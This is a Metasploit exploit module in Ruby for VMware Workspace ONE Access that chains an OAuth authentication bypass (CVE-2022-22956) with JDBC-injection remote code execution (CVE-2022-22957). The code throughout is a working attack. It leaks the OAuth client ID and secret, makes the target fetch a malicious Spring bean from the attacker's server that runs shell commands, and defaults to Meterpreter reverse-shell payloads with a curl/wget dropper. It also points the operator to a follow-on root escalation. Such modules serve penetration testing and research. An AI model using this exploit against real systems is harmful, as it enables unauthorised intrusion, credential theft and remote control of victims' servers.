##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
class InvalidRequest < StandardError
end
class InvalidResponse < StandardError
end
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware Workspace ONE Access VMSA-2022-0011 exploit chain',
'Description' => %q{
This module combines two vulnerabilities in order achieve remote code execution in the context of the
`horizon` user. The first vulnerability CVE-2022-22956 is an authentication bypass in
OAuth2TokenResourceController ACS which allows a remote, unauthenticated attacker to bypass the
authentication mechanism and execute any operation. The second vulnerability CVE-2022-22957 is a JDBC
injection RCE specifically in the DBConnectionCheckController class's dbCheck method which allows an attacker
to deserialize arbitrary Java objects which can allow remote code execution.
},
'Author' => [
'mr_me', # Discovery & PoC
'jheysel-r7' # Metasploit Module
],
'References' => [
['CVE', '2022-22956'],
['CVE', '2022-22957'],
['URL', 'https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html#dbconnectioncheckcontroller-dbcheck-jdbc-injection-remote-code-execution'],
['URL', 'https://github.com/sourceincite/hekate/'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html']
],
'DisclosureDate' => '2022-04-06',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => %i[curl wget],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'Payload' => {
'BadChars' => "\x22"
},
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'LPORT' => 5555
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
end
# The VMware products affected do no expose any version information to unauthenticated users.
# Attempt to exploit the auth bypass to determine if the target is vulnerable. Both the auth bypass and RCE were
# patched in the following VMware update: https://kb.vmware.com/s/article/88099
def check
@token = get_authentication_token
Exploit::CheckCode::Vulnerable('Successfully by-passed authentication by exploiting CVE-2022-22956')
rescue InvalidRequest, InvalidResponse => e
return Exploit::CheckCode::Safe("There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")
end
# Exploit OAuth2TokenResourceController ACS Authentication Bypass (CVE-2022-22956).
#
# Return the authentication token
def get_authentication_token
oauth_client = ['Service__OAuth2Client', 'acs'].sample
res_activation_token = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'oauth2', 'generateActivationToken', oauth_client),
'method' => 'POST'
})
unless res_activation_token
raise InvalidRequest, 'No response from the server when requesting an activation token'
end
unless res_activation_token.code == 200 && res_activation_token.headers['content-type'] == 'application/json;charset=UTF-8'
raise InvalidResponse, "Unexpected response code:#{res_activation_token.code}, when requesting an activation token"
end
activation_token = res_activation_token.get_json_document['activationToken']
res_client_info = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'oauth2', 'activate'),
'method' => 'POST',
'Content-Type' => 'application/x-www-form-urlencoded',
'data' => activation_token
})
unless res_client_info
raise InvalidRequest, 'No response from client when sending the activation token and expecting client info in return'
end
unless res_client_info.code == 200 && res_client_info.headers['content-type'] == 'application/json;charset=UTF-8'
raise InvalidResponse, "Unexpected response code:#{res_client_info.code}, when sending the activation token and expecting client info in return"
end
json_client_info = res_client_info.get_json_document
client_id = json_client_info['client_id']
client_secret = json_client_info['client_secret']
print_good("Leaked client_id: #{client_id}")
print_good("Leaked client_secret: #{client_secret}")
post_data = "grant_type=client_credentials&client_id=#{client_id}&client_secret=#{client_secret}"
res_access_token = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'SAAS', 'auth', 'oauthtoken'),
'method' => 'POST',
'Content-Type' => 'application/x-www-form-urlencoded',
'data' => post_data
})
unless res_access_token
raise InvalidRequest, 'No response from the server when requesting the access token'
end
unless res_access_token.code == 200 && res_access_token.headers['content-type'] == 'application/json;charset=UTF-8' && res_access_token.get_json_document['access_token']
raise InvalidResponse, 'Invalid response from the server when requesting the access token'
end
res_access_token.get_json_document['access_token']
end
# Serve the files for the target machine to download.
# If the request to the server ends in .xml the victim is requesting the spring bean generated by payload_xml method.
# If the request doesn't in .xml the victim is requesting the linux dropper payload.
def on_request_uri(cli, request)
vprint_status("on_request_uri - Request '#{request.method} #{request.uri}'")
if request.to_s.include?('.xml')
vprint_status('Sending XML response: ')
send_response(cli, @payload_xml, { 'Content-Type' => 'application/octet-strem' })
vprint_status('Response sent')
else
vprint_status('Sending PAYLOAD: ')
send_response(cli, generate_payload_exe(code: payload.encoded), { 'Content-Type' => 'application/octet-strem' })
end
end
# Generates the malicious spring bean that will be hosted by the metasploit http server and downloaded and run by the victim
#
# Returns an XML document containing the payload.
def generate_payload_xml(cmd)
bean = ''
builder = ::Builder::XmlMarkup.new(target: bean, indent: 2)
builder.beans(xmlns: 'http://www.springframework.org/schema/beans', 'xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', 'xsi:schemaLocation': 'http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd') do
builder.bean(id: 'pb', class: 'java.lang.ProcessBuilder', 'init-method': 'start') do
builder.constructor do
builder.list do
builder.value('/bin/sh')
builder.value('-c')
builder.value(cmd)
end
end
end
end
bean.gsub!('constructor', 'constructor-arg')
vprint_status(bean)
bean
end
# Calls the vulnerable dbCheck method in order to download and run the payload the module is hosting.
def trigger_jdbc_rce(jwt, sub_cmd)
# jdbc_uri = "jdbc:postgresql://localhost:1337/saas?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://#{datastore['LHOST']}:#{datastore['SRVPORT']}/#{filename}"
jdbc_uri = "jdbcUrl=jdbc%3Apostgresql%3A%2F%2Flocalhost%3A1337%2Fsaas%3FsocketFactory%3Dorg.springframework.context.support.FileSystemXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2F#{datastore['LHOST']}%3A#{datastore['SRVPORT']}%2F#{@payload_name}&dbUsername=&dbPassword"
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'system', 'dbCheck'),
'method' => 'POST',
'Content-Type' => 'application/x-www-form-urlencoded',
'Connection' => 'keep-alive',
'cookie' => "HZN=#{jwt}",
'data' => jdbc_uri
})
fail_with(Failure::Unreachable, "No response from the request to trigger the following sub command: #{sub_cmd}") unless res
fail_with(Failure::UnexpectedReply, "Unexpected response from the request to trigger the following sub command: #{sub_cmd}") unless res.code == 406 && res.body == '{"success":false,"status":406,"message":"database.connection.notSuccess","code":406}'
end
def execute_command(cmd, opts = {})
vprint_status("Executing the following command: #{cmd}")
@payload_xml = generate_payload_xml(cmd)
trigger_jdbc_rce(opts[:jwt], cmd)
end
# Instruct the user to exploit CVE-2022-22960
def on_new_session(_client)
print_good('Now background this session with "bg" and then run "resource run_cve-2022-22960_lpe.rc" to get a root shell')
end
def exploit
unless @token
begin
@token = get_authentication_token
rescue InvalidRequest => e
fail_with(Failure::Unreachable, "There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")
rescue InvalidResponse => e
fail_with(Failure::UnexpectedReply, "There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")
end
end
@payload_name = Rex::Text.rand_text_alpha(4..12) + '.xml'
start_service('Path' => "/#{@payload_name}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded, { jwt: @token })
when :linux_dropper
execute_cmdstager({ jwt: @token })
else
fail_with(Failure::BadConfig, 'Invalid target specified')
end
end
end